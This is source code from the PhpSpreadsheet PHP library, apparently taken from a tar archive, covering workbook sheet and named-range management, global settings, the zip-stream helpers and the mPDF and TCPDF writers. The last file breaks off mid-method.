$sheetIndex); return $newSheet; } /** * Check if a sheet with a specified name already exists. * * @param string $worksheetName Name of the worksheet to check */ public function sheetNameExists(string $worksheetName): bool { return $this->getSheetByName($worksheetName) !== null; } /** * Add sheet. * * @param Worksheet $worksheet The worksheet to add * @param null|int $sheetIndex Index where sheet should go (0,1,..., or null for last) */ public function addSheet(Worksheet $worksheet, ?int $sheetIndex = null): Worksheet { if ($this->sheetNameExists($worksheet->getTitle())) { throw new Exception( "Workbook already contains a worksheet named '{$worksheet->getTitle()}'. Rename this worksheet first." ); } if ($sheetIndex === null) { if ($this->activeSheetIndex < 0) { $this->activeSheetIndex = 0; } $this->workSheetCollection[] = $worksheet; } else { // Insert the sheet at the requested index array_splice( $this->workSheetCollection, $sheetIndex, 0, [$worksheet] ); // Adjust active sheet index if necessary if ($this->activeSheetIndex >= $sheetIndex) { ++$this->activeSheetIndex; } } if ($worksheet->getParent() === null) { $worksheet->rebindParent($this); } return $worksheet; } /** * Remove sheet by index. * * @param int $sheetIndex Index position of the worksheet to remove */ public function removeSheetByIndex(int $sheetIndex): void { $numSheets = count($this->workSheetCollection); if ($sheetIndex > $numSheets - 1) { throw new Exception( "You tried to remove a sheet by the out of bounds index: {$sheetIndex}. The actual number of sheets is {$numSheets}." ); } array_splice($this->workSheetCollection, $sheetIndex, 1); // Adjust active sheet index if necessary if ( ($this->activeSheetIndex >= $sheetIndex) && ($this->activeSheetIndex > 0 || $numSheets <= 1) ) { --$this->activeSheetIndex; } } /** * Get sheet by index. * * @param int $sheetIndex Sheet index */ public function getSheet(int $sheetIndex): Worksheet { if (!isset($this->workSheetCollection[$sheetIndex])) { $numSheets = $this->getSheetCount(); throw new Exception( "Your requested sheet index: {$sheetIndex} is out of bounds. The actual number of sheets is {$numSheets}." ); } return $this->workSheetCollection[$sheetIndex]; } /** * Get all sheets. * * @return Worksheet[] */ public function getAllSheets(): array { return $this->workSheetCollection; } /** * Get sheet by name. * * @param string $worksheetName Sheet name */ public function getSheetByName(string $worksheetName): ?Worksheet { $worksheetCount = count($this->workSheetCollection); for ($i = 0; $i < $worksheetCount; ++$i) { if (strcasecmp($this->workSheetCollection[$i]->getTitle(), trim($worksheetName, "'")) === 0) { return $this->workSheetCollection[$i]; } } return null; } /** * Get sheet by name, throwing exception if not found. */ public function getSheetByNameOrThrow(string $worksheetName): Worksheet { $worksheet = $this->getSheetByName($worksheetName); if ($worksheet === null) { throw new Exception("Sheet $worksheetName does not exist."); } return $worksheet; } /** * Get index for sheet. * * @return int index */ public function getIndex(Worksheet $worksheet): int { foreach ($this->workSheetCollection as $key => $value) { if ($value->getHashCode() === $worksheet->getHashCode()) { return $key; } } throw new Exception('Sheet does not exist.'); } /** * Set index for sheet by sheet name. * * @param string $worksheetName Sheet name to modify index for * @param int $newIndexPosition New index for the sheet * * @return int New sheet index */ public function setIndexByName(string $worksheetName, int $newIndexPosition): int { $oldIndex = $this->getIndex($this->getSheetByNameOrThrow($worksheetName)); $worksheet = array_splice( $this->workSheetCollection, $oldIndex, 1 ); array_splice( $this->workSheetCollection, $newIndexPosition, 0, $worksheet ); return $newIndexPosition; } /** * Get sheet count. */ public function getSheetCount(): int { return count($this->workSheetCollection); } /** * Get active sheet index. * * @return int Active sheet index */ public function getActiveSheetIndex(): int { return $this->activeSheetIndex; } /** * Set active sheet index. * * @param int $worksheetIndex Active sheet index */ public function setActiveSheetIndex(int $worksheetIndex): Worksheet { $numSheets = count($this->workSheetCollection); if ($worksheetIndex > $numSheets - 1) { throw new Exception( "You tried to set a sheet active by the out of bounds index: {$worksheetIndex}. The actual number of sheets is {$numSheets}." ); } $this->activeSheetIndex = $worksheetIndex; return $this->getActiveSheet(); } /** * Set active sheet index by name. * * @param string $worksheetName Sheet title */ public function setActiveSheetIndexByName(string $worksheetName): Worksheet { if (($worksheet = $this->getSheetByName($worksheetName)) instanceof Worksheet) { $this->setActiveSheetIndex($this->getIndex($worksheet)); return $worksheet; } throw new Exception('Workbook does not contain sheet:' . $worksheetName); } /** * Get sheet names. * * @return string[] */ public function getSheetNames(): array { $returnValue = []; $worksheetCount = $this->getSheetCount(); for ($i = 0; $i < $worksheetCount; ++$i) { $returnValue[] = $this->getSheet($i)->getTitle(); } return $returnValue; } /** * Add external sheet. * * @param Worksheet $worksheet External sheet to add * @param null|int $sheetIndex Index where sheet should go (0,1,..., or null for last) */ public function addExternalSheet(Worksheet $worksheet, ?int $sheetIndex = null): Worksheet { if ($this->sheetNameExists($worksheet->getTitle())) { throw new Exception("Workbook already contains a worksheet named '{$worksheet->getTitle()}'. Rename the external sheet first."); } // count how many cellXfs there are in this workbook currently, we will need this below $countCellXfs = count($this->cellXfCollection); // copy all the shared cellXfs from the external workbook and append them to the current foreach ($worksheet->getParentOrThrow()->getCellXfCollection() as $cellXf) { $this->addCellXf(clone $cellXf); } // move sheet to this workbook $worksheet->rebindParent($this); // update the cellXfs foreach ($worksheet->getCoordinates(false) as $coordinate) { $cell = $worksheet->getCell($coordinate); $cell->setXfIndex($cell->getXfIndex() + $countCellXfs); } // update the column dimensions Xfs foreach ($worksheet->getColumnDimensions() as $columnDimension) { $columnDimension->setXfIndex($columnDimension->getXfIndex() + $countCellXfs); } // update the row dimensions Xfs foreach ($worksheet->getRowDimensions() as $rowDimension) { $xfIndex = $rowDimension->getXfIndex(); if ($xfIndex !== null) { $rowDimension->setXfIndex($xfIndex + $countCellXfs); } } return $this->addSheet($worksheet, $sheetIndex); } /** * Get an array of all Named Ranges. * * @return DefinedName[] */ public function getNamedRanges(): array { return array_filter( $this->definedNames, fn (DefinedName $definedName): bool => $definedName->isFormula() === self::DEFINED_NAME_IS_RANGE ); } /** * Get an array of all Named Formulae. * * @return DefinedName[] */ public function getNamedFormulae(): array { return array_filter( $this->definedNames, fn (DefinedName $definedName): bool => $definedName->isFormula() === self::DEFINED_NAME_IS_FORMULA ); } /** * Get an array of all Defined Names (both named ranges and named formulae). * * @return DefinedName[] */ public function getDefinedNames(): array { return $this->definedNames; } /** * Add a named range. * If a named range with this name already exists, then this will replace the existing value. */ public function addNamedRange(NamedRange $namedRange): void { $this->addDefinedName($namedRange); } /** * Add a named formula. * If a named formula with this name already exists, then this will replace the existing value. */ public function addNamedFormula(NamedFormula $namedFormula): void { $this->addDefinedName($namedFormula); } /** * Add a defined name (either a named range or a named formula). * If a defined named with this name already exists, then this will replace the existing value. */ public function addDefinedName(DefinedName $definedName): void { $upperCaseName = StringHelper::strToUpper($definedName->getName()); if ($definedName->getScope() == null) { // global scope $this->definedNames[$upperCaseName] = $definedName; } else { // local scope $this->definedNames[$definedName->getScope()->getTitle() . '!' . $upperCaseName] = $definedName; } } /** * Get named range. * * @param null|Worksheet $worksheet Scope. Use null for global scope */ public function getNamedRange(string $namedRange, ?Worksheet $worksheet = null): ?NamedRange { $returnValue = null; if ($namedRange !== '') { $namedRange = StringHelper::strToUpper($namedRange); // first look for global named range $returnValue = $this->getGlobalDefinedNameByType($namedRange, self::DEFINED_NAME_IS_RANGE); // then look for local named range (has priority over global named range if both names exist) $returnValue = $this->getLocalDefinedNameByType($namedRange, self::DEFINED_NAME_IS_RANGE, $worksheet) ?: $returnValue; } return $returnValue instanceof NamedRange ? $returnValue : null; } /** * Get named formula. * * @param null|Worksheet $worksheet Scope. Use null for global scope */ public function getNamedFormula(string $namedFormula, ?Worksheet $worksheet = null): ?NamedFormula { $returnValue = null; if ($namedFormula !== '') { $namedFormula = StringHelper::strToUpper($namedFormula); // first look for global named formula $returnValue = $this->getGlobalDefinedNameByType($namedFormula, self::DEFINED_NAME_IS_FORMULA); // then look for local named formula (has priority over global named formula if both names exist) $returnValue = $this->getLocalDefinedNameByType($namedFormula, self::DEFINED_NAME_IS_FORMULA, $worksheet) ?: $returnValue; } return $returnValue instanceof NamedFormula ? $returnValue : null; } private function getGlobalDefinedNameByType(string $name, bool $type): ?DefinedName { if (isset($this->definedNames[$name]) && $this->definedNames[$name]->isFormula() === $type) { return $this->definedNames[$name]; } return null; } private function getLocalDefinedNameByType(string $name, bool $type, ?Worksheet $worksheet = null): ?DefinedName { if ( ($worksheet !== null) && isset($this->definedNames[$worksheet->getTitle() . '!' . $name]) && $this->definedNames[$worksheet->getTitle() . '!' . $name]->isFormula() === $type ) { return $this->definedNames[$worksheet->getTitle() . '!' . $name]; } return null; } /** * Get named range. * * @param null|Worksheet $worksheet Scope. Use null for global scope */ public function getDefinedName(string $definedName, ?Worksheet $worksheet = null): ?DefinedName { $returnValue = null; if ($definedName !== '') { $definedName = StringHelper::strToUpper($definedName); // first look for global defined name if (isset($this->definedNames[$definedName])) { $returnValue = $this->definedNames[$definedName]; } // then look for local defined name (has priority over global defined name if both names exist) if (($worksheet !== null) && isset($this->definedNames[$worksheet->getTitle() . '!' . $definedName])) { $returnValue = $this->definedNames[$worksheet->getTitle() . '!' . $definedName]; } } return $returnValue; } /** * Remove named range. * * @param null|Worksheet $worksheet scope: use null for global scope * * @return $this */ public function removeNamedRange(string $namedRange, ?Worksheet $worksheet = null): self { if ($this->getNamedRange($namedRange, $worksheet) === null) { return $this; } return $this->removeDefinedName($namedRange, $worksheet); } /** * Remove named formula. * * @param null|Worksheet $worksheet scope: use null for global scope * * @return $this */ public function removeNamedFormula(string $namedFormula, ?Worksheet $worksheet = null): self { if ($this->getNamedFormula($namedFormula, $worksheet) === null) { return $this; } return $this->removeDefinedName($namedFormula, $worksheet); } /** * Remove defined name. * * @param null|Worksheet $worksheet scope: use null for global scope * * @return $this */ public function removeDefinedName(string $definedName, ?Worksheet $worksheet = null): self { $definedName = StringHelper::strToUpper($definedName); if ($worksheet === null) { if (isset($this->definedNames[$definedName])) { unset($this->definedNames[$definedName]); } } else { if (isset($this->definedNames[$worksheet->getTitle() . '!' . $definedName])) { unset($this->definedNames[$worksheet->getTitle() . '!' . $definedName]); } elseif (isset($this->definedNames[$definedName])) { unset($this->definedNames[$definedName]); } } return $this; } /** * Get worksheet iterator. */ public function getWorksheetIterator(): Iterator { return new Iterator($this); } /** * Copy workbook (!= clone!). */ public function copy(): self { $filename = File::temporaryFilename(); $writer = new XlsxWriter($this); $writer->setIncludeCharts(true); $writer->save($filename); $reader = new XlsxReader(); $reader->setIncludeCharts(true); $reloadedSpreadsheet = $reader->load($filename); unlink($filename); return $reloadedSpreadsheet; } public function __clone() { throw new Exception( 'Do not use clone on spreadsheet. Use spreadsheet->copy() instead.' ); } /** * Get the workbook collection of cellXfs. * * @return Style[] */ public function getCellXfCollection(): array { return $this->cellXfCollection; } /** * Get cellXf by index. */ public function getCellXfByIndex(int $cellStyleIndex): Style { return $this->cellXfCollection[$cellStyleIndex]; } /** * Get cellXf by hash code. * * @return false|Style */ public function getCellXfByHashCode(string $hashcode): bool|Style { foreach ($this->cellXfCollection as $cellXf) { if ($cellXf->getHashCode() === $hashcode) { return $cellXf; } } return false; } /** * Check if style exists in style collection. */ public function cellXfExists(Style $cellStyleIndex): bool { return in_array($cellStyleIndex, $this->cellXfCollection, true); } /** * Get default style. */ public function getDefaultStyle(): Style { if (isset($this->cellXfCollection[0])) { return $this->cellXfCollection[0]; } throw new Exception('No default style found for this workbook'); } /** * Add a cellXf to the workbook. */ public function addCellXf(Style $style): void { $this->cellXfCollection[] = $style; $style->setIndex(count($this->cellXfCollection) - 1); } /** * Remove cellXf by index. It is ensured that all cells get their xf index updated. * * @param int $cellStyleIndex Index to cellXf */ public function removeCellXfByIndex(int $cellStyleIndex): void { if ($cellStyleIndex > count($this->cellXfCollection) - 1) { throw new Exception('CellXf index is out of bounds.'); } // first remove the cellXf array_splice($this->cellXfCollection, $cellStyleIndex, 1); // then update cellXf indexes for cells foreach ($this->workSheetCollection as $worksheet) { foreach ($worksheet->getCoordinates(false) as $coordinate) { $cell = $worksheet->getCell($coordinate); $xfIndex = $cell->getXfIndex(); if ($xfIndex > $cellStyleIndex) { // decrease xf index by 1 $cell->setXfIndex($xfIndex - 1); } elseif ($xfIndex == $cellStyleIndex) { // set to default xf index 0 $cell->setXfIndex(0); } } } } /** * Get the cellXf supervisor. */ public function getCellXfSupervisor(): Style { return $this->cellXfSupervisor; } /** * Get the workbook collection of cellStyleXfs. * * @return Style[] */ public function getCellStyleXfCollection(): array { return $this->cellStyleXfCollection; } /** * Get cellStyleXf by index. * * @param int $cellStyleIndex Index to cellXf */ public function getCellStyleXfByIndex(int $cellStyleIndex): Style { return $this->cellStyleXfCollection[$cellStyleIndex]; } /** * Get cellStyleXf by hash code. * * @return false|Style */ public function getCellStyleXfByHashCode(string $hashcode): bool|Style { foreach ($this->cellStyleXfCollection as $cellStyleXf) { if ($cellStyleXf->getHashCode() === $hashcode) { return $cellStyleXf; } } return false; } /** * Add a cellStyleXf to the workbook. */ public function addCellStyleXf(Style $style): void { $this->cellStyleXfCollection[] = $style; $style->setIndex(count($this->cellStyleXfCollection) - 1); } /** * Remove cellStyleXf by index. * * @param int $cellStyleIndex Index to cellXf */ public function removeCellStyleXfByIndex(int $cellStyleIndex): void { if ($cellStyleIndex > count($this->cellStyleXfCollection) - 1) { throw new Exception('CellStyleXf index is out of bounds.'); } array_splice($this->cellStyleXfCollection, $cellStyleIndex, 1); } /** * Eliminate all unneeded cellXf and afterwards update the xfIndex for all cells * and columns in the workbook. */ public function garbageCollect(): void { // how many references are there to each cellXf ? $countReferencesCellXf = []; foreach ($this->cellXfCollection as $index => $cellXf) { $countReferencesCellXf[$index] = 0; } foreach ($this->getWorksheetIterator() as $sheet) { // from cells foreach ($sheet->getCoordinates(false) as $coordinate) { $cell = $sheet->getCell($coordinate); ++$countReferencesCellXf[$cell->getXfIndex()]; } // from row dimensions foreach ($sheet->getRowDimensions() as $rowDimension) { if ($rowDimension->getXfIndex() !== null) { ++$countReferencesCellXf[$rowDimension->getXfIndex()]; } } // from column dimensions foreach ($sheet->getColumnDimensions() as $columnDimension) { ++$countReferencesCellXf[$columnDimension->getXfIndex()]; } } // remove cellXfs without references and create mapping so we can update xfIndex // for all cells and columns $countNeededCellXfs = 0; $map = []; foreach ($this->cellXfCollection as $index => $cellXf) { if ($countReferencesCellXf[$index] > 0 || $index == 0) { // we must never remove the first cellXf ++$countNeededCellXfs; } else { unset($this->cellXfCollection[$index]); } $map[$index] = $countNeededCellXfs - 1; } $this->cellXfCollection = array_values($this->cellXfCollection); // update the index for all cellXfs foreach ($this->cellXfCollection as $i => $cellXf) { $cellXf->setIndex($i); } // make sure there is always at least one cellXf (there should be) if (empty($this->cellXfCollection)) { $this->cellXfCollection[] = new Style(); } // update the xfIndex for all cells, row dimensions, column dimensions foreach ($this->getWorksheetIterator() as $sheet) { // for all cells foreach ($sheet->getCoordinates(false) as $coordinate) { $cell = $sheet->getCell($coordinate); $cell->setXfIndex($map[$cell->getXfIndex()]); } // for all row dimensions foreach ($sheet->getRowDimensions() as $rowDimension) { if ($rowDimension->getXfIndex() !== null) { $rowDimension->setXfIndex($map[$rowDimension->getXfIndex()]); } } // for all column dimensions foreach ($sheet->getColumnDimensions() as $columnDimension) { $columnDimension->setXfIndex($map[$columnDimension->getXfIndex()]); } // also do garbage collection for all the sheets $sheet->garbageCollect(); } } /** * Return the unique ID value assigned to this spreadsheet workbook. */ public function getID(): string { return $this->uniqueID; } /** * Get the visibility of the horizonal scroll bar in the application. * * @return bool True if horizonal scroll bar is visible */ public function getShowHorizontalScroll(): bool { return $this->showHorizontalScroll; } /** * Set the visibility of the horizonal scroll bar in the application. * * @param bool $showHorizontalScroll True if horizonal scroll bar is visible */ public function setShowHorizontalScroll(bool $showHorizontalScroll): void { $this->showHorizontalScroll = (bool) $showHorizontalScroll; } /** * Get the visibility of the vertical scroll bar in the application. * * @return bool True if vertical scroll bar is visible */ public function getShowVerticalScroll(): bool { return $this->showVerticalScroll; } /** * Set the visibility of the vertical scroll bar in the application. * * @param bool $showVerticalScroll True if vertical scroll bar is visible */ public function setShowVerticalScroll(bool $showVerticalScroll): void { $this->showVerticalScroll = (bool) $showVerticalScroll; } /** * Get the visibility of the sheet tabs in the application. * * @return bool True if the sheet tabs are visible */ public function getShowSheetTabs(): bool { return $this->showSheetTabs; } /** * Set the visibility of the sheet tabs in the application. * * @param bool $showSheetTabs True if sheet tabs are visible */ public function setShowSheetTabs(bool $showSheetTabs): void { $this->showSheetTabs = (bool) $showSheetTabs; } /** * Return whether the workbook window is minimized. * * @return bool true if workbook window is minimized */ public function getMinimized(): bool { return $this->minimized; } /** * Set whether the workbook window is minimized. * * @param bool $minimized true if workbook window is minimized */ public function setMinimized(bool $minimized): void { $this->minimized = (bool) $minimized; } /** * Return whether to group dates when presenting the user with * filtering optiomd in the user interface. * * @return bool true if workbook window is minimized */ public function getAutoFilterDateGrouping(): bool { return $this->autoFilterDateGrouping; } /** * Set whether to group dates when presenting the user with * filtering optiomd in the user interface. * * @param bool $autoFilterDateGrouping true if workbook window is minimized */ public function setAutoFilterDateGrouping(bool $autoFilterDateGrouping): void { $this->autoFilterDateGrouping = (bool) $autoFilterDateGrouping; } /** * Return the first sheet in the book view. * * @return int First sheet in book view */ public function getFirstSheetIndex(): int { return $this->firstSheetIndex; } /** * Set the first sheet in the book view. * * @param int $firstSheetIndex First sheet in book view */ public function setFirstSheetIndex(int $firstSheetIndex): void { if ($firstSheetIndex >= 0) { $this->firstSheetIndex = (int) $firstSheetIndex; } else { throw new Exception('First sheet index must be a positive integer.'); } } /** * Return the visibility status of the workbook. * * This may be one of the following three values: * - visibile * * @return string Visible status */ public function getVisibility(): string { return $this->visibility; } /** * Set the visibility status of the workbook. * * Valid values are: * - 'visible' (self::VISIBILITY_VISIBLE): * Workbook window is visible * - 'hidden' (self::VISIBILITY_HIDDEN): * Workbook window is hidden, but can be shown by the user * via the user interface * - 'veryHidden' (self::VISIBILITY_VERY_HIDDEN): * Workbook window is hidden and cannot be shown in the * user interface. * * @param null|string $visibility visibility status of the workbook */ public function setVisibility(?string $visibility): void { if ($visibility === null) { $visibility = self::VISIBILITY_VISIBLE; } if (in_array($visibility, self::WORKBOOK_VIEW_VISIBILITY_VALUES)) { $this->visibility = $visibility; } else { throw new Exception('Invalid visibility value.'); } } /** * Get the ratio between the workbook tabs bar and the horizontal scroll bar. * TabRatio is assumed to be out of 1000 of the horizontal window width. * * @return int Ratio between the workbook tabs bar and the horizontal scroll bar */ public function getTabRatio(): int { return $this->tabRatio; } /** * Set the ratio between the workbook tabs bar and the horizontal scroll bar * TabRatio is assumed to be out of 1000 of the horizontal window width. * * @param int $tabRatio Ratio between the tabs bar and the horizontal scroll bar */ public function setTabRatio(int $tabRatio): void { if ($tabRatio >= 0 && $tabRatio <= 1000) { $this->tabRatio = (int) $tabRatio; } else { throw new Exception('Tab ratio must be between 0 and 1000.'); } } public function reevaluateAutoFilters(bool $resetToMax): void { foreach ($this->workSheetCollection as $sheet) { $filter = $sheet->getAutoFilter(); if (!empty($filter->getRange())) { if ($resetToMax) { $filter->setRangeToMaxRow(); } $filter->showHideRows(); } } } /** * @throws Exception */ public function __serialize(): array { throw new Exception('Spreadsheet objects cannot be serialized'); } /** * @throws Exception */ public function jsonSerialize(): mixed { throw new Exception('Spreadsheet objects cannot be json encoded'); } public function resetThemeFonts(): void { $majorFontLatin = $this->theme->getMajorFontLatin(); $minorFontLatin = $this->theme->getMinorFontLatin(); foreach ($this->cellXfCollection as $cellStyleXf) { $scheme = $cellStyleXf->getFont()->getScheme(); if ($scheme === 'major') { $cellStyleXf->getFont()->setName($majorFontLatin)->setScheme($scheme); } elseif ($scheme === 'minor') { $cellStyleXf->getFont()->setName($minorFontLatin)->setScheme($scheme); } } foreach ($this->cellStyleXfCollection as $cellStyleXf) { $scheme = $cellStyleXf->getFont()->getScheme(); if ($scheme === 'major') { $cellStyleXf->getFont()->setName($majorFontLatin)->setScheme($scheme); } elseif ($scheme === 'minor') { $cellStyleXf->getFont()->setName($minorFontLatin)->setScheme($scheme); } } } public function getTableByName(string $tableName): ?Table { $table = null; foreach ($this->workSheetCollection as $sheet) { $table = $sheet->getTableByName($tableName); if ($table !== null) { break; } } return $table; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Settings.php000064400000012704151676714400017564 0ustar00<?php namespace PhpOffice\PhpSpreadsheet; use PhpOffice\PhpSpreadsheet\Calculation\Calculation; use PhpOffice\PhpSpreadsheet\Chart\Renderer\IRenderer; use PhpOffice\PhpSpreadsheet\Collection\Memory; use Psr\Http\Client\ClientInterface; use Psr\Http\Message\RequestFactoryInterface; use Psr\SimpleCache\CacheInterface; use ReflectionClass; class Settings { /** * Class name of the chart renderer used for rendering charts * eg: PhpOffice\PhpSpreadsheet\Chart\Renderer\JpGraph. * * @var null|class-string<IRenderer> */ private static ?string $chartRenderer = null; /** * Default options for libxml loader. */ private static ?int $libXmlLoaderOptions = null; /** * The cache implementation to be used for cell collection. * * @var ?CacheInterface */ private static ?CacheInterface $cache = null; /** * The HTTP client implementation to be used for network request. */ private static ?ClientInterface $httpClient = null; private static ?RequestFactoryInterface $requestFactory = null; /** * Set the locale code to use for formula translations and any special formatting. * * @param string $locale The locale code to use (e.g. "fr" or "pt_br" or "en_uk") * * @return bool Success or failure */ public static function setLocale(string $locale): bool { return Calculation::getInstance()->setLocale($locale); } public static function getLocale(): string { return Calculation::getInstance()->getLocale(); } /** * Identify to PhpSpreadsheet the external library to use for rendering charts. * * @param class-string<IRenderer> $rendererClassName Class name of the chart renderer * eg: PhpOffice\PhpSpreadsheet\Chart\Renderer\JpGraph */ public static function setChartRenderer(string $rendererClassName): void { if (!is_a($rendererClassName, IRenderer::class, true)) { throw new Exception('Chart renderer must implement ' . IRenderer::class); } self::$chartRenderer = $rendererClassName; } public static function unsetChartRenderer(): void { self::$chartRenderer = null; } /** * Return the Chart Rendering Library that PhpSpreadsheet is currently configured to use. * * @return null|class-string<IRenderer> Class name of the chart renderer * eg: PhpOffice\PhpSpreadsheet\Chart\Renderer\JpGraph */ public static function getChartRenderer(): ?string { return self::$chartRenderer; } public static function htmlEntityFlags(): int { return ENT_COMPAT; } /** * Set default options for libxml loader. * * @param ?int $options Default options for libxml loader */ public static function setLibXmlLoaderOptions(?int $options): int { if ($options === null) { $options = defined('LIBXML_DTDLOAD') ? (LIBXML_DTDLOAD | LIBXML_DTDATTR) : 0; } self::$libXmlLoaderOptions = $options; return $options; } /** * Get default options for libxml loader. * Defaults to LIBXML_DTDLOAD | LIBXML_DTDATTR when not set explicitly. * * @return int Default options for libxml loader */ public static function getLibXmlLoaderOptions(): int { if (self::$libXmlLoaderOptions === null) { return self::setLibXmlLoaderOptions(null); } return self::$libXmlLoaderOptions; } /** * Sets the implementation of cache that should be used for cell collection. */ public static function setCache(?CacheInterface $cache): void { self::$cache = $cache; } /** * Gets the implementation of cache that is being used for cell collection. */ public static function getCache(): CacheInterface { if (!self::$cache) { self::$cache = self::useSimpleCacheVersion3() ? new Memory\SimpleCache3() : new Memory\SimpleCache1(); } return self::$cache; } public static function useSimpleCacheVersion3(): bool { return (new ReflectionClass(CacheInterface::class))->getMethod('get')->getReturnType() !== null; } /** * Set the HTTP client implementation to be used for network request. */ public static function setHttpClient(ClientInterface $httpClient, RequestFactoryInterface $requestFactory): void { self::$httpClient = $httpClient; self::$requestFactory = $requestFactory; } /** * Unset the HTTP client configuration. */ public static function unsetHttpClient(): void { self::$httpClient = null; self::$requestFactory = null; } /** * Get the HTTP client implementation to be used for network request. */ public static function getHttpClient(): ClientInterface { if (!self::$httpClient || !self::$requestFactory) { throw new Exception('HTTP client must be configured via Settings::setHttpClient() to be able to use WEBSERVICE function.'); } return self::$httpClient; } /** * Get the HTTP request factory. */ public static function getRequestFactory(): RequestFactoryInterface { if (!self::$httpClient || !self::$requestFactory) { throw new Exception('HTTP client must be configured via Settings::setHttpClient() to be able to use WEBSERVICE function.'); } return self::$requestFactory; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/NamedRange.php000064400000002342151676714400017762 0ustar00<?php namespace PhpOffice\PhpSpreadsheet; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; class NamedRange extends DefinedName { /** * Create a new Named Range. */ public function __construct( string $name, ?Worksheet $worksheet = null, string $range = 'A1', bool $localOnly = false, ?Worksheet $scope = null ) { if ($worksheet === null && $scope === null) { throw new Exception('You must specify a worksheet or a scope for a Named Range'); } parent::__construct($name, $worksheet, $range, $localOnly, $scope); } /** * Get the range value. */ public function getRange(): string { return $this->value; } /** * Set the range value. */ public function setRange(string $range): self { if (!empty($range)) { $this->value = $range; } return $this; } public function getCellsInRange(): array { $range = $this->value; if (str_starts_with($range, '=')) { $range = substr($range, 1); } return Coordinate::extractAllCellReferencesInRange($range); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Writer/ZipStream3.php000064400000000677151676714400021247 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Writer; use ZipStream\Option\Archive; use ZipStream\ZipStream; class ZipStream3 { /** * @param resource $fileHandle */ public static function newZipStream($fileHandle): ZipStream { return new ZipStream( enableZip64: false, outputStream: $fileHandle, sendHttpHeaders: false, defaultEnableZeroHeader: false, ); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Writer/ZipStream0.php000064400000000574151676714400021240 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Writer; use ZipStream\Option\Archive; use ZipStream\ZipStream; class ZipStream0 { /** * @param resource $fileHandle */ public static function newZipStream($fileHandle): ZipStream { return class_exists(Archive::class) ? ZipStream2::newZipStream($fileHandle) : ZipStream3::newZipStream($fileHandle); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Writer/Pdf/Mpdf.php000064400000007270151676714400020641 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Writer\Pdf; use PhpOffice\PhpSpreadsheet\Worksheet\PageSetup; use PhpOffice\PhpSpreadsheet\Writer\Pdf; class Mpdf extends Pdf { public const SIMULATED_BODY_START = '<!-- simulated body start -->'; private const BODY_TAG = '<body>'; /** * Is the current writer creating mPDF? * * @deprecated 2.0.1 use instanceof Mpdf instead */ protected bool $isMPdf = true; /** * Gets the implementation of external PDF library that should be used. * * @param array $config Configuration array * * @return \Mpdf\Mpdf implementation */ protected function createExternalWriterInstance(array $config): \Mpdf\Mpdf { return new \Mpdf\Mpdf($config); } /** * Save Spreadsheet to file. * * @param string $filename Name of the file to save as */ public function save($filename, int $flags = 0): void { $fileHandle = parent::prepareForSave($filename); // Check for paper size and page orientation $setup = $this->spreadsheet->getSheet($this->getSheetIndex() ?? 0)->getPageSetup(); $orientation = $this->getOrientation() ?? $setup->getOrientation(); $orientation = ($orientation === PageSetup::ORIENTATION_LANDSCAPE) ? 'L' : 'P'; $printPaperSize = $this->getPaperSize() ?? $setup->getPaperSize(); $paperSize = self::$paperSizes[$printPaperSize] ?? PageSetup::getPaperSizeDefault(); // Create PDF $config = ['tempDir' => $this->tempDir . '/mpdf']; $pdf = $this->createExternalWriterInstance($config); $ortmp = $orientation; $pdf->_setPageSize($paperSize, $ortmp); $pdf->DefOrientation = $orientation; $pdf->AddPageByArray([ 'orientation' => $orientation, 'margin-left' => $this->inchesToMm($this->spreadsheet->getActiveSheet()->getPageMargins()->getLeft()), 'margin-right' => $this->inchesToMm($this->spreadsheet->getActiveSheet()->getPageMargins()->getRight()), 'margin-top' => $this->inchesToMm($this->spreadsheet->getActiveSheet()->getPageMargins()->getTop()), 'margin-bottom' => $this->inchesToMm($this->spreadsheet->getActiveSheet()->getPageMargins()->getBottom()), ]); // Document info $pdf->SetTitle($this->spreadsheet->getProperties()->getTitle()); $pdf->SetAuthor($this->spreadsheet->getProperties()->getCreator()); $pdf->SetSubject($this->spreadsheet->getProperties()->getSubject()); $pdf->SetKeywords($this->spreadsheet->getProperties()->getKeywords()); $pdf->SetCreator($this->spreadsheet->getProperties()->getCreator()); $html = $this->generateHTMLAll(); $bodyLocation = strpos($html, self::SIMULATED_BODY_START); if ($bodyLocation === false) { $bodyLocation = strpos($html, self::BODY_TAG); if ($bodyLocation !== false) { $bodyLocation += strlen(self::BODY_TAG); } } // Make sure first data presented to Mpdf includes body tag // (and any htmlpageheader/htmlpagefooter tags) // so that Mpdf doesn't parse it as content. Issue 2432. if ($bodyLocation !== false) { $pdf->WriteHTML(substr($html, 0, $bodyLocation)); $html = substr($html, $bodyLocation); } foreach (explode("\n", $html) as $line) { $pdf->WriteHTML("$line\n"); } // Write to file fwrite($fileHandle, $pdf->Output('', 'S')); parent::restoreStateAfterSave(); } /** * Convert inches to mm. */ private function inchesToMm(float $inches): float { return $inches * 25.4; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Writer/Pdf/Tcpdf.php000064400000005750151676714400021014 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Writer\Pdf; use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Worksheet\PageSetup; use PhpOffice\PhpSpreadsheet\Writer\Pdf; class Tcpdf extends Pdf { /** * Create a new PDF Writer instance. * * @param Spreadsheet $spreadsheet Spreadsheet object */ public function __construct(Spreadsheet $spreadsheet) { parent::__construct($spreadsheet); $this->setUseInlineCss(true); } /** * Gets the implementation of external PDF library that should be used. * * @param string $orientation Page orientation * @param string $unit Unit measure * @param array|string $paperSize Paper size * * @return \TCPDF implementation */ protected function createExternalWriterInstance(string $orientation, string $unit, $paperSize): \TCPDF { return new \TCPDF($orientation, $unit, $paperSize); } /** * Save Spreadsheet to file. * * @param string $filename Name of the file to save as */ public function save($filename, int $flags = 0): void { $fileHandle = parent::prepareForSave($filename); // Default PDF paper size $paperSize = 'LETTER'; // Letter (8.5 in. by 11 in.) // Check for paper size and page orientation $setup = $this->spreadsheet->getSheet($this->getSheetIndex() ?? 